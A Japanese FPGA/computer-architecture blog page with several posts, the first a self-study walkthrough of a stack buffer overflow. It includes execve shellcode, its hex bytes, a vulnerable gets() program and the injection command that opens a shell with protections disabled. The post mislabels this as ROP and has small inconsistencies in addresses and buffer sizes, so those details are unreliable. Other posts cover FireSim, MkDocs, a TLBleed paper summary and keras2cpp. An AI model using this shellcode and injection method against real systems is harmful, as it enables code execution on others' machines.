FPGA開発日記

FPGAというより、コンピュータアーキテクチャかもね! カテゴリ別記事インデックス https://msyksphinz.github.io/github_pages/

ROP(Return-Oriented Programming)についての勉強

Spectre 1.1 / Spectre 1.2 についての論文を読んでいるのだが、その中でROP(Return-Oriented Programming)というものが登場しており、どんなものかわからなかったので調べてみた。

具体的には、プログラムのスタックがオーバフローすることにより悪意のあるプログラムを実行することができるという技術で、おもに攻撃対象となるプログラムがスタックを溢れさせてしまう問題を突くことによって実現される。

以下のウェブサイトを読みながら進めていった。

postd.cc

上記のウェブサイトでは、例として攻撃プログラムshell.cを使い、攻撃対象プログラムvictim.cを乗っ取る方式を説明している。

まず、shell.cだが、以下のような構成をしており、これ自体はexecveシステムコールを実行するためのものだ。 引数として使用されるレジスタはすべてゼロに初期化されており、またこのプログラム自体は、アセンブリのどの位置から実行されても(先頭に戻るジャンプが仕込まれていることにより)必ずsyscall命令によりexecveが実行されるコードになっている。

  • shell.c
int main() {
  asm("\
needle0: jmp there\n\
here:    pop %rdi\n\
         xor %rax, %rax\n\
         movb $0x3b, %al\n\
         xor %rsi, %rsi\n\
         xor %rdx, %rdx\n\
         syscall\n\
there:   call here\n\
.string \"/bin/sh\"\n\
needle1: .octa 0xdeadbeef\n\
  ");
}

次に、victim.cを見ていく。これは明らかに脆弱性のあるプログラムで、入力データによってはバッファオーバフローする可能性があるプログラムだ。 - victim.c

#include <stdio.h>
int main() {
  char name[64];
  puts("What's your name?");
  gets(name);
  printf("Hello, %s!\n", name);
  return 0;
}

このプログラムはgets()により入力されるデータが64バイトよりも大きければ簡単にオーバフローしてしまうプログラムである。

これに対して上記のshell.cコンパイルしたものを注入すると、これによりスタックポインタが上書きされてしまい、shell.cのコードが実行されてしまうというのがROP (Return-Oriented Programming)の考え方だ。

$ gcc shell.c

生成されたa.outから注入したいコードを抽出する。

$ objdump -d | sed -n '/needle0/,/needle1/p'
00000000000005fe <needle0>:
 5fe:   eb 0e                   jmp    60e <there>

0000000000000600 <here>:
 600:   5f                      pop    %rdi
 601:   48 31 c0                xor    %rax,%rax
 604:   b0 3b                   mov    $0x3b,%al
 606:   48 31 f6                xor    %rsi,%rsi
 609:   48 31 d2                xor    %rdx,%rdx
 60c:   0f 05                   syscall

000000000000060e <there>:
 60e:   e8 ed ff ff ff          callq  600 <here>
 613:   2f                      (bad)
 614:   62                      (bad)
 615:   69                      .byte 0x69
 616:   6e                      outsb  %ds:(%rsi),(%dx)
 617:   2f                      (bad)
 618:   73 68                   jae    682 <__libc_csu_init+0x42>
        ...

000000000000061b <needle1>:

注入したいコードは0x61b - 0x5feのため、合計で29バイトとなる。32ビットに切り上げて、注入するためのファイルを作成する。

$ xxd -s0x5fe -l32 -p a.out shellcode
$ cat shellcode
$ cat shellcode
eb0e5f4831c0b03b4831f64831d20f05e8edffffff2f62696e2f736800ef
bead

victimを攻撃する

まずはname[64]の場所を取得するために、以下のようにプログラムを細工する(これはズルだけども...)

ASLR(アドレスのランダム化)を無効化して、アドレスを常に固定する。

#include <stdio.h>
int main() {
  char name[64];
  printf("%p\n", name);  // Print address of buffer.
  puts("What's your name?");
  gets(name);
  printf("Hello, %s!\n", name);
  return 0;
}

以下のようにしてアドレスを確認した。nameのアドレスは0x7fffad3f7480だ。これをリトルエンディアンで取得しておく。環境変数$aだ。

$ gcc -fno-stack-protector -o victim victim.c
$ setarch `arch` -R ./victim
0x7fffffffd030
What's your name?
$ a=`printf %016x 0x7fffffffd030 | tac -rs..`
$ echo a
30d0ffffff7f0000

以下のようなコマンドを入力する。

$ ((cat shellcode ; printf %080d 0 ; echo $a) | xxd -r -p ; cat) | setarch `arch` -R ./victim

何をやっているのかややこしいが、1つ1つ分解していく。まずは cat shellcode ; printf %080d 0 ; echo $a まで。

$ cat shellcode ; printf %080d 0 ; echo $a
eb0e5f4831c0b03b4831f64831d20f05e8edffffff2f62696e2f736800ef
bead
0000000000000000000000000000000000000000000000000000000000000000000000000000000030d0ffffff7f0000

最初の32バイトまでがgets()によりname[32]に呼び込まれる。 次に40バイトの0が入力され、そのうちね32個がnameの残りを埋める。そして余った8バイトはRBPレジスタの場所を上書きする。 最後に、残りの8バイトが戻りアドレスを上書きすることで、シェルコードが実行されるようになる。

f:id:msyksphinz:20180717014140p:plain
図. victim のスタックを書き潰していく様子。

このプログラムを実行するために、victimはさらに弱くなっておく必要がある。

$ gcc -fno-stack-protector -o victim victim.c  # Stackフレームのチェックを無効化する
$ execstack -s victim # NXビット(実行保護)を無効化する。

これで、以下のコマンドを実行する。

$ ((cat shellcode ; printf %080d 0 ; echo $a) | xxd -r -p ; cat) | setarch `arch` -R ./victim
0x7fffffffd030
What's your name?
ls
Hello, _H1;H1H1/bin/sh!
ls
a.out  shell.c  shellcode  victim  victim.c

lsコマンドが実行できるようになり、/bin/shによりshell.cが乗っ取られた。

FireSimのRTLシミュレーション環境を試す(1. MIDAS-Level環境でのベンチマークシミュレーション)

Amazon AWS F1インスタンス上で動作するRocket-Chip環境、FireSimはRTLシミュレーション環境が用意されている。

チュートリアルを試しながら、さっそく実行してみよう。

FireSimのRTLレベルシミュレーションの分類

FireSimには、いくつかのRTLレベルシミュレーションの分類があるらしい。

  • ターゲットレベル(Target-Level) : RTLレベルで、Rocket-Chipのシミュレーションを行う。ホストレベルでのデバッグ機能は存在しない。
    • サポートしているシミュレーションツール : VCS / Verilator
  • MIDAS-Level : RTLレベルのシミュレーションで、MIDASにより変換される。FPGAホスティングするシミュレーションモデルが再現されている。ターゲットのクロックとホストのクロックは同期している。DRAMやメモリマップドIO/PCIsなども使用することができる。
    • サポートしているシミュレーションツール : VCS, Verilator
  • FPGAレベル : 完全なFPGA環境でのシミュレーション。クロックドメイン通信やPLL, DRAMPCI-EなどのFPGAペリフェラルを含んでいる。AWSにより提供されるシミュレーションレベル。
    • サポートしているシミュレーションツール : VCS, Vivado XSIM
f:id:msyksphinz:20180716142120p:plain

まずは、MIDAS-LevelでのRTLシミュレーションを実行してみる。

MIDAS-LevelでのRTLコンパイル

firesimのリポジトリをダウンロードしておく。さらに、RISC-Vのツールのコンパイル環境としてRISCVを設定しておく。

$ printenv RISCV
/home/msyksphinz/riscv64/

シミュレーション環境に移行して、コンパイルを実行する。ここでは、Verilatorを使用した。 ちなみに、Verilatorのインストールはあらかじめ行っておく必要があるようだ(Rocket-Chipの環境では勝手にVerilatorまでダウンロードしていたんだけど...)

$ sudo apt install -y verilator
$ cd firesim/sim
$ make DESIGN=FireSimNoNIC

MIDAS-LevelでのRTLシミュレーション

RTLシミュレーションはRocket-Chipの環境と少しやり方が異なる。 例えば、Dhrystoneを実行したい場合、

  • Rocket-Chip環境の場合
$ make output/dhrystone.riscv.out
  • FireSim環境の場合
$ make DESIGN=FireSimNoNIC ${PWD}/output/f1/FireSimNoNIC-FireSimRocketChipConfig-FireSimConfig/dhrystone.riscv.out

FireSimの環境で実行すると、以下のように正しく動作してそうなのだが、最後にエラーとなった。

$ make DESIGN=FireSimNoNIC ${PWD}/output/f1/FireSimNoNIC-FireSimRocketChipConfig-FireSimConfig/dhrystone.riscv.run
mkdir -p /home/msyksphinz/work/firesim/sim/output/f1/FireSimNoNIC-FireSimRocketChipConfig-FireSimConfig
ln -fs /home/msyksphinz/riscv64//riscv64-unknown-elf/share/riscv-tests/benchmarks/dhrystone.riscv /home/msyksphinz/work/firesim/sim/output/f1/FireSimNoNIC-FireSimRocketChipConfig-FireSimConfig/dhrystone.riscv
cd /home/msyksphinz/work/firesim/sim/generated-src/f1/FireSimNoNIC-FireSimRocketChipConfig-FireSimConfig/ && \
./VFireSimNoNIC /home/msyksphinz/work/firesim/sim/output/f1/FireSimNoNIC-FireSimRocketChipConfig-FireSimConfig/dhrystone.riscv +sample=/home/msyksphinz/work/firesim/sim/output/f1/FireSimNoNIC-FireSimRocketChipConfig-FireSimConfig/dhrystone.riscv.sample +max-cycles=100000000 +mm_relaxFunctionalModel=0 +mm_writeMaxReqs=16 +mm_readMaxReqs=16 +mm_writeLatency=30 +mm_readLatency=30 +dramsim \
2> /dev/null 2> /home/msyksphinz/work/firesim/sim/output/f1/FireSimNoNIC-FireSimRocketChipConfig-FireSimConfig/dhrystone.riscv.run && [ $PIPESTATUS -eq 0 ]
Microseconds for one run through Dhrystone: 469
Dhrystones per Second:                      2128
mcycle = 234976
minstret = 196530
/bin/sh: 3: [: -eq: unexpected operator
Makefile:171: recipe for target '/home/msyksphinz/work/firesim/sim/output/f1/FireSimNoNIC-FireSimRocketChipConfig-FireSimConfig/dhrystone.riscv.run' failed
make: *** [/home/msyksphinz/work/firesim/sim/output/f1/FireSimNoNIC-FireSimRocketChipConfig-FireSimConfig/dhrystone.riscv.run] Error 2

一応、全体ベンチマークを流してみるのだが、どうもMakefileに問題がありそうだ?

$ make DESIGN=FireSimNoNIC run-bmark-tests
cd /home/msyksphinz/work/firesim/sim/generated-src/f1/FireSimNoNIC-FireSimRocketChipConfig-FireSimConfig/ && \
./VFireSimNoNIC /home/msyksphinz/work/firesim/sim/output/f1/FireSimNoNIC-FireSimRocketChipConfig-FireSimConfig/mm.riscv +sample=/home/msyksphinz/work/firesim/sim/output/f1/FireSimNoNIC-FireSimRocketChipConfig-FireSimConfig/mm.riscv.sample +max-cycles=100000000 +mm_relaxFunctionalModel=0 +mm_writeMaxReqs=16 +mm_readMaxReqs=16 +mm_writeLatency=30 +mm_readLatency=30 +dramsim \
3>&1 1>&2 2>&3 | /home/msyksphinz/riscv64/bin/spike-dasm  > /home/msyksphinz/work/firesim/sim/output/f1/FireSimNoNIC-FireSimRocketChipConfig-FireSimConfig/mm.riscv.out && [ $PIPESTATUS -eq 0 ]
C0: reg block 4x5x6, cache block 24x25x24
C0: 24811 instructions
C0: 26056 cycles
C0: 28800 flops
C0: 1105 Mflops @ 1 GHz
/bin/sh: 3: [: -eq: unexpected operator
Makefile:176: recipe for target '/home/msyksphinz/work/firesim/sim/output/f1/FireSimNoNIC-FireSimRocketChipConfig-FireSimConfig/mm.riscv.out' failed
make: *** [/home/msyksphinz/work/firesim/sim/output/f1/FireSimNoNIC-FireSimRocketChipConfig-FireSimConfig/mm.riscv.out] Error 2

試しに、最後の$PIPESTATUSを表示してみた。

$ make DESIGN=FireSimNoNIC ${PWD}/output/f1/FireSimNoNIC-FireSimRocketChipConfig-FireSimConfig/dhrystone.riscv.out
mkdir -p /home/msyksphinz/work/firesim/sim/output/f1/FireSimNoNIC-FireSimRocketChipConfig-FireSimConfig
ln -fs /home/msyksphinz/riscv64//riscv64-unknown-elf/share/riscv-tests/benchmarks/dhrystone.riscv /home/msyksphinz/work/firesim/sim/output/f1/FireSimNoNIC-FireSimRocketChipConfig-FireSimConfig/dhrystone.riscv
cd /home/msyksphinz/work/firesim/sim/generated-src/f1/FireSimNoNIC-FireSimRocketChipConfig-FireSimConfig/ && \
./VFireSimNoNIC /home/msyksphinz/work/firesim/sim/output/f1/FireSimNoNIC-FireSimRocketChipConfig-FireSimConfig/dhrystone.riscv +sample=/home/msyksphinz/work/firesim/sim/output/f1/FireSimNoNIC-FireSimRocketChipConfig-FireSimConfig/dhrystone.riscv.sample +max-cycles=100000000 +mm_relaxFunctionalModel=0 +mm_writeMaxReqs=16 +mm_readMaxReqs=16 +mm_writeLatency=30 +mm_readLatency=30 +dramsim \
3>&1 1>&2 2>&3 | /home/msyksphinz/riscv64/bin/spike-dasm  > /home/msyksphinz/work/firesim/sim/output/f1/FireSimNoNIC-FireSimRocketChipConfig-FireSimConfig/dhrystone.riscv.out && echo $PIPESTATUS   # [ $PIPESTATUS -eq 0 ]
Microseconds for one run through Dhrystone: 469
Dhrystones per Second:                      2128
mcycle = 234976
minstret = 196530

うーん、最後のステータスが表示されないみたいだ。これはVerilatorのみの問題かなあ?調査する必要があるかもしれない。

MKDocsを使ってFPGA開発日記の記事まとめページを作り直した

初めて知ったのだが、MKDocsはGoogleっぽいページを作ることができるサイトだ。 これまではGitHub PagesでMarkdownを直接書いて作っていたのだが、MKDocsはMarkdownを使って簡単にかっこいいページを作ることができるのでやってみた。

ちなみに、MKDocsでのサイトの構築とGoogle Material Designは別々の管理なので、まずはMKDocsを作ってから、Google Materials Designに変更する。

www.mkdocs.org

試行したのは、Windows上のmsys2環境だ。

MKDocs の環境構築

まずは、pipでMKDocsをインストールする。

pip install mkdocs mkdocs-material

MKDocsでのページ編集

GitHub PagesにMKDocsのページをデプロイするためには、どうも別のリポジトリを作ってそちらにMKDocsの環境を構築する必要があるらしい? まずは自分のページにgithub_pagesというリポジトリを作った。

github.com

このリポジトリをcloneし、MKDocsのページを構築していく。

git clone https://github.com/msyksphinz/github_pages.git
mkdocs new github_pages
cd github_pages

/docsソースコードを格納していく。

.
├── docs
│   ├── 30os.md
│   ├── gpgpu.md
│   ├── index.md
│   ├── machine_learning.md
│   ├── mastering_bitcoin.md
│   ├── quantum_computing.md
│   ├── riscv.md
├── get_entry.rb
├── mkdocs.yml
└── output.txt

プレビューのためにビルドを行った。mkdocs buildとすると、/siteにプレビューファイルが作られる。

$ mkdocs build
INFO    -  Cleaning site directory
INFO    -  Building documentation to directory: C:/msys64/home/msyksphinz/work/github_pages/site

表示してみると、いい感じだ。

f:id:msyksphinz:20180714131452p:plain

Google Material Designへの変更

次に、Google Material Designの設定を行う。mkdocs.ymlを以下のように設定して、Material Designに設定した。

  • mkdocs.yml
site_name: FPGA開発日記 カテゴリ別記事インデックス
theme:
  name: 'material'
  palette:
    primary: 'indigo'
    accent: 'indigo'

以下のようになった。これはいい感じだ。

f:id:msyksphinz:20180714132437p:plain

GitHub Pages にデプロイする

GitHub Pagesにデプロイするには、以下のように入力するだけだ。

$ mkdocs deploy
$ mkdocs gh-deploy
INFO    -  Cleaning site directory
INFO    -  Building documentation to directory: C:/msys64/home/masayuki/work/github_pages/site
INFO    -  Copying 'C:/msys64/home/masayuki/work/github_pages/site' to 'gh-pages' branch and pushing to GitHub.

これで、msyksphinz.github.io/github_pages/にページがデプロイされた!なかなかいいね。

TLBleed : Trasnlation Leak-aside Buffer の論文を読む

TLBleedの論文がやっと発表された。The Registerで記事が出てから論文が出てくるまでずっと監視していたのだが、随分と時間がかかったね。

www.vusec.net

このTLBleedの論文非常に長いので読むのがつかれるし、あまりセキュリティの知識とか無いので大変なのだが、要点だけつかもうと時間を作ってざっくりと読み進んでいった。

まだまだ分からないところが多いが、まとめていこう。 なんか難しげなアルゴリズムとかサクッと英語で説明してあるのでその辺りはまだよく理解できていないが、一通り読んで概要は何となくわかった。

この手法、スレッドが特権を持っていなくても同時に実行されているスレッド内の命令を読み取ることができるというものなのだが、当然ターゲットとなるサーバ内で攻撃スレッドが実行できている必要がある。

これはAWSなどのクラウド上で、意図していなくても何らなの別スレッドとリソースを共有しているような状態で脅威になる可能性はある。

要点

TLBleedは、攻撃対象のスレッドと攻撃スレッドがハイパースレッディングの環境下でTLBを共有することにより発生するミス攻撃手法。 TLBは仮想アドレスから物理アドレスへの変換を行うMMUの機能を補填するための機能であり、キャッシュと同様にバッファとしての機能を持っている。 従ってSpectre / Meltdownのようにスレッド毎の共有資源であり、攻撃対象となる。

しかし、TLBを使って攻撃するためにはいくつか問題がある。

  • 仮想アドレスから物理アドレスへの変換は一定ではない。TLBのバッファへのマッピングはマイクロアーキテクチャとして明確に明言されていない手法でハッシュ化されており、狙ってアドレスを作り出すことが難しい。
  • TLBは1ページ(4kB)での管理が行われる。従ってTLBの内容を盗んだところで、どのようにして情報を搾取するのか?
  • アドレス変換の部分には様々なランダム化手法 ASLR / CAT / TSX などの情報漏洩防御手段が存在しており、どのようにかいくぐるか?

これらに対して、

  • TLBの綿密な解析によるTLBのレイテンシ解析
  • 機械学習(サポートベクタマシン)によりTLBのレイテンシ情報から実行されている関数の識別

により、暗号化ライブラリ(libgcrpyt)の秘匿情報の取得に成功している。

手法

まず、TLBから情報を盗み出すためには、いくつかの困難を乗り越えなければならない。 これらについて、本論文では4つに分けて説明している。

  • Q1. TLBの動作をどのようにしてモニタリングするか?仮想アドレスから物理アドレスの変換をどのようにして計算し、モデルを作成するかが重要になる。
  • Q2, TLBの同一セット内に、どのようにして攻撃対象と攻撃スレッドを同居させるか?
  • Q3. TLBの動作をどのように監視するか?つまり、特権実行が不可能な状態でどのようにしてTLBのレイテンシを測定して、動作を監視するか?
  • Q4. TLBはページ(4kB)単位でのデータやりとりとなる。この、粗粒度な状態で、どのようにして秘匿データを盗み見るか?

これらの問題を1つずつ解決していき、TLBleedを構成していく。 (余談だが上記のように1つ1つ問題を設定して解決先を導いていくあたり、論文内にストーリーが作られていて面白い。)

TLBのモニタリング

TLBは、仮想アドレスから物理アドレスへの変換情報を記憶しておくバッファだが、どのアドレスがTLBのどのセットに入るかは明言されていない。 これを解析するために、ハッシュ関数を仮定しプログラムを作成し、リバースエンジニアリングを行っている。 例えば、Skylake L2 TLBは、仮想アドレスに対して使用するTLBのセットは以下のハッシュ関数により推定できることが分かったとしている。

f:id:msyksphinz:20180713001934p:plain

対象となっているIntelのCPUはTLBは2段階構成となっており、L1 iTLB / L1 dTLB / L2 sTLBの動作を解析してパラメータを抽出した。

その結果、以下の表に示すようなパラメータを取得することができた。 L1 dTLB と L2 STLBはスレッド毎にセットが共有されているため、攻撃対象に用いることができると考え、この2つのTLBを攻撃手法に使うことにした。

f:id:msyksphinz:20180713001754p:plain

TLBのレイテンシを読む

ハイパースレッディングにより攻撃スレッドと攻撃対象スレッディングが同居している中で、攻撃スレッドは特権、つまりTLBのイベント情報などを取得する方法がない。

これを解決するために、TLB動作時のレイテンシを監視することで、TLB内に格納されている特定スレッドのヒット・ミスを測定する手法を作成した。これには、rdtsc命令, rdtscp命令(タイムスタンプ命令)を用いている。

実験では、彼らの開発したプログラムにより、TLBのレイテンシを測定することでTLBのヒット・ミスを測定できるようになったとしている。

f:id:msyksphinz:20180713002634p:plain

TLBのレイテンシから動作している関数を同定する

TLBのレイテンシが計測できるようになったので、このレイテンシ情報から、どの関数が実行されているのかが特定できるようになる。

これには、機械学習(具体的には、サポートベクタマシン)を用いている。これにより、下記の図のように動作している関数を特定できるようになった。 実験では、EdDSAで用いられている2つの関数のどちらが実行されているかが分かるようになった。

  • duplication _gcry_mpi_ec_dup_point
  • addition _gcry_mpi_ec_add_points
f:id:msyksphinz:20180713003446p:plain
論文中では Figure.10

どの程度効果があるのか?

彼らの実験では、

  • EdDSAの鍵生成については、99%に近い確率で読み取り可能
  • ソフトウェアによる防御手法 (わざと意味のないメモリアクセスを発生させる、など)は効果がない。
  • RSA鍵生成について90%に近い確率で読み取り可能
  • Intel CAT (プロセス毎にキャッシュを分離する手法)は効果がない
  • Intel TSX (Hardware Transactional Memory)も効果がない。
  • ALSR (アドレスのランダム化)も効果がない。

としている。

(ブログ筆者の)感想

もう、スレッド毎で共有されているすべての資源は見直す必要があるのではなかろうかという気分になってくる。

また、暗号系の鍵を扱う処理は、プロセッサのようにレイテンシやキャッシュの存在するような状況かで扱うのではなく、例えば専用ハードウェアでどのような演算でも同一レイテンシになるようにしないと、これ以上の防御は難しいのではないだろうか、という気分になる。

TensorFlow+Kerasに入門(9. Keras2のMNISTサンプルに対応)

Keras2の簡単な例題モデルとしてこれまではCIFAR-10を使っていたが、一応MNISTも対応しておきたい。 Keras2のmnist_cnn.pyが動作するように対応を実施した。

結論から言うと機能が足りておらずすぐには動作しなかった。keras2cppにいろいろと機能を追加した。

github.com

Keras2cppの機能拡張

Keras2のmnist_cnn.pyには、keras2cppのサポートしていないいくつかの機能が使われており、これにより一部動作をしなかった。

Conv2D / DenseLayer にActivationレイヤが追加されている

mnist_cnn.py には、以下のオプションが用意されており、Conv2D / DenseでActivationの機能が必要であった。

  • examples/mnist_cnn.py
...
model = Sequential()
model.add(Conv2D(32, kernel_size=(3, 3),
                 activation='relu',
                 input_shape=input_shape))
model.add(Conv2D(64, (3, 3), activation='relu'))
model.add(MaxPooling2D(pool_size=(2, 2)))
model.add(Dropout(0.25))
model.add(Flatten())
model.add(Dense(128, activation='relu'))
model.add(Dropout(0.5))
model.add(Dense(num_classes, activation='softmax'))
...

これによりMNSITも動作するようになった。MNISTは学習時間が短いので楽だ。

  • keras2cpp/keras_model.cc
diff --git a/keras_model.cc b/keras_model.cc
index 6b30ab2..693da0e 100644
--- a/keras_model.cc
+++ b/keras_model.cc
@@ -81,7 +81,7 @@ void keras::LayerConv2D::load_weights(std::ifstream &fin) {
   string tmp_str = "";
   float tmp_float;
   bool skip = false;
-  fin >> m_kernels_cnt >> m_depth >> m_rows >> m_cols >> m_border_mode;
+  fin >> m_kernels_cnt >> m_depth >> m_rows >> m_cols >> m_border_mode >> m_activation;
   if (m_border_mode == "[") { m_border_mode = "valid"; skip = true; }

   //cout << "LayerConv2D " << m_kernels_cnt << "x" << m_depth << "x" << m_rows <<
@@ -397,12 +384,22 @@ keras::DataChunk* keras::LayerConv2D::compute_output(keras::DataChunk* dc) {
         y_ret[j][x][y] += m_bias[j];
       }
     }
-    // if (j == 0) { printf ("After biasing y[0][0][0] = %f\n", y_ret[0][0][0]); }
+  }
+
+  // Activation
+  if (m_activation == "relu") {
+    for(unsigned int j = 0; j < m_kernels.size(); ++j) { // loop over kernels
+      for(unsigned int x = 0; x < y_ret[0].size(); ++x) {
+        for(unsigned int y = 0; y < y_ret[0][0].size(); ++y) {
+          y_ret[j][x][y] = (y_ret[j][x][y] >= 0.0) ? y_ret[j][x][y] : 0.0;
+        }
+      }
+    }
   }

   keras::DataChunk *out = new keras::DataChunk2D();

実行結果。正しく動作した。

$ ./mnist_cnn
This is simple example with Keras neural network model loading into C++.
Keras model will be used in C++ for prediction only.
DataChunk2D 1x28x28
DataChunkFlat values:
0.000000 0.000000 0.000000 0.000000 0.000000 0.000000 0.000000 1.000000 0.000000 0.000000
DataChunk2D 1x28x28
DataChunkFlat values:
0.000000 0.000000 1.000000 0.000000 0.000000 0.000000 0.000000 0.000000 0.000000 0.000000
DataChunk2D 1x28x28
DataChunkFlat values:
0.000000 0.999988 0.000003 0.000000 0.000004 0.000000 0.000001 0.000003 0.000000 0.000000
...
f:id:msyksphinz:20180712231020p:plain

RISC-VのZedBoard環境が動作しなくなっている問題

しばらく前から、RISC-VをZedBoardで動作させるための環境fpga-zynqリポジトリが動作しなくなっている状態であった。 (これは私も確認していた)。

GitHub Issueにもあげられており、しばらく監視していたのだが全く反応がないので諦めていたのだがこの度修正されたようなので確認することにした。

github.com

ちなみ、それぞれのリビジョンは、

  • 最後に確認した正しく動作するfpga-zynq リポジトリのリビジョン : f03982e
  • 今回確認したリビジョン f55bd8e
  • 動かなくなっていたリビジョン : 上記の間

最新のリポジトリにアップデートして確認してみたが、実際には相変わらず動作せずであった...

f:id:msyksphinz:20180711004932p:plain

そこで、フロントエンドサーバの問題の可能性を疑い、fesvr-zynqをリビルドした。

$ cd ${fpga-zynqリポジトリ}/zedboard
$ make fesvr-zynq # fesvr-zynqの再ビルドが行われる
$ sudo make ramdisk-open
$ sudo cp ../../../../common/build/fesvr-zynq ramdisk/home/root/fesvr-zynq.new
$ sudo cp ../../../../common/build/fesvr-zynq ramdisk/home/root/
$ sudo make ramdisk-close
$ sudo make load-sd SD=/mnt/ZED_ROOT/

以上の要領で、fesvr-zynq.newlibfesvr.soを追加して、ZedBoardを起動した。

動作を確認すると、やはり動かない...

f:id:msyksphinz:20180711010459p:plain

うーん、まだデバッグが必要そうだ...

TensorFlow+Kerasに入門(8. RISC-V Spike ISS でkeras2cppを動作させる)

前回まででx86上でのkeras2cppの改造はひとまず完成したので、とりあえず目的のRISC-Vアーキテクチャへの移植を行ってみたい。

移植と言っても、GCCのターゲットを変えてリコンパイルするだけである。 あとはRISC-VのISSであるSpikeで動作させるだけだ。

run_cifar10_riscv: keras_model.cc example_main.cc
    riscv64-unknown-elf-g++ -g -Wall -O0 -std=c++11 $^ -o $@

コンパイルはすぐに終了する。Spike ISSを使えば、File I/O やstdoutなどもシミュレートしてくれるのでとりあえず動かすことが可能だ。

$ spike pk run_cifar10_riscv
This is simple example with Keras neural network model loading into C++.
Keras model will be used in C++ for prediction only.
DataChunk2D 3x32x32
DataChunkFlat values:
0.047180 0.018506 0.038732 0.423161 0.039156 0.216958 0.079558 0.064518 0.030912 0.041319
DataChunk2D 3x32x32
DataChunkFlat values:
0.000142 0.193220 0.000000 0.000000 0.000000 0.000000 0.000000 0.000000 0.806296 0.000342
DataChunk2D 3x32x32
DataChunkFlat values:
0.000636 0.244844 0.000000 0.000000 0.000000 0.000000 0.000000 0.000000 0.746910 0.007610
DataChunk2D 3x32x32
...

動作はかなりもっさりしているけど...

f:id:msyksphinz:20180705233234p:plain